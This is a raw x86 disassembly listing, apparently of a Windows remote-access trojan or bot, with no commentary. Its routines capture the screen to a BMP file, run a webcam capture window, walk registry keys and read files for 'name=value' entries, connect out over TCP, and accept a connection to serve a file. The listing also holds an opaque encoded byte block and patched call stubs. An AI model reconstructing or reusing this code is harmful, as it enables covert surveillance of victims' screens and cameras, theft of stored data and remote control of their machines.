var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2710A4Eh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26708E6h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22DA314h, 43D12868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 1AE89064h,	330227A8h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0A7C3E864h, 6A900227h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710A4Eh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2740B0Ch
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

